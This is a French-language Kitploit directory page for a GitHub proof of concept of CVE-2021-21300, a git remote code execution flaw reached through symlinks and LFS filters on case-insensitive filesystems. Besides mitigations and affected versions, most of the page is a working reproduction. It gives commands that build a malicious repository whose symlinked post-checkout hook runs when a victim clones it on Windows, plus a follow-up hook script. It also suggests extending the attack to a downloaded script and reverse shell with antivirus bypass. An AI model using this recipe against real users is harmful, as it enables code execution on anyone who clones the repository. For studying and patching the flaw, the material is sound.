Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-21300 — Preuve de concept pour CVE-2021-21300, démontrant l'exécution de code à distance via le clonage malveillant de dépôt git avec abus de lien symbolique et de filtres sur les systèmes de fichiers insensibles à la casse. | Kitploit
Outils/GitHubGitHub/fengzhouc/cve-2021-21300
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationMouvement LatéralShellcodePost-ExploitationCommandement et ContrôleOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubfengzhouc/cve-2021-21300

CVE-2021-21300

Preuve de concept pour CVE-2021-21300, démontrant l'exécution de code à distance via le clonage malveillant de dépôt git avec abus de lien symbolique et de filtres sur les systèmes de fichiers insensibles à la casse.

11il y a 5 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

CVE-2021-21300

Dans plusieurs versions de git, la gestion des liens symboliques est relâchée. Après avoir téléchargé des fichiers vers git sur un système de fichiers sensible à la casse (par exemple Linux), cloner un dépôt malveillant sur un hôte utilisant un système de fichiers insensible à la casse (par exemple Windows) peut entraîner l’exécution de commandes à distance.

Versions affectées

De la version 2.15 à la version actuelle 2.30.1

Solutions

  1. Mettre à jour la version
  2. Comme suit :

Désactiver les liens symboliques de git : git config --global core.symlinks false

Désactiver le filtre de processus (généralement utilisé par LFS) : git config --show-scope --get-regexp 'filter\..*\.process pour vérifier

Conditions de déclenchement :

  1. Le dépôt contient un lien symbolique et un répertoire portant le même nom
  2. Le lien symbolique pointe vers un répertoire spécial (actuellement, semble être .git/hooks)
  3. La machine victime dispose des autorisations suffisantes pour exécuter des commandes malveillantes

Reproduction

01 Préparation de l’environnement

① Préparation du dépôt :

Système : ubuntux64

Installer git, git-lfs

L’exécution de la commande git lfs install peut afficher une erreur

Error: Failed to call git rev-parse --git-dir: exit status 128

Peut être ignorée

Si Git LFS initialized. apparaît, l’installation est terminée.

② Machine victime :

Système : win10x64

git for windows : Git-2.17.1-64-bit

(https://www.npackd.org/p/git64/2.17.1.2)

Installation par défaut pour git for windows

02 Préparation du dépôt malveillant

① Créer un dépôt sur github :

De nombreux tutoriels en ligne, ne pas détailler

② Construire le dépôt malveillant sur ubuntu et le pousser sur github :

Exécuter les commandes suivantes

$ git init
$ echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
$ git branch -M main
$ git remote add origin [adresse de votre dépôt]
$ git push -u origin main

03 Test d’attaque

Dans powershell (administrateur) sous win10, exécuter la commande suivante :

git clone -c core.symlinks=true [adresse de votre dépôt]

Après le clone, l’apparition de PWNED indique que l’exécution de commande à distance a réussi.

Ainsi, lors du clone, les commandes du fichier post-checkout sont exécutées.

L’idée est d’utiliser IEX pour télécharger un script, puis d’écouter via kali pour obtenir un shell. Cependant, la plupart des scripts sont identifiés et bloqués. Contourner la détection (bypass) pourrait permettre d’y parvenir.

04 Exploitation étendue

Ajouter un fichier script hack.sh dans le répertoire

Contenu :

#!/bin/sh
#################
echo "script working..." &&
cd / &&
pwd &&
mkdir hack
cd hack &&
touch hacked &&
echo "you has been hacked">hacked &&
echo "done!"

Modifier la commande exécutée dans post-checkout pour exécuter le script

printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout

Télécharger l’outil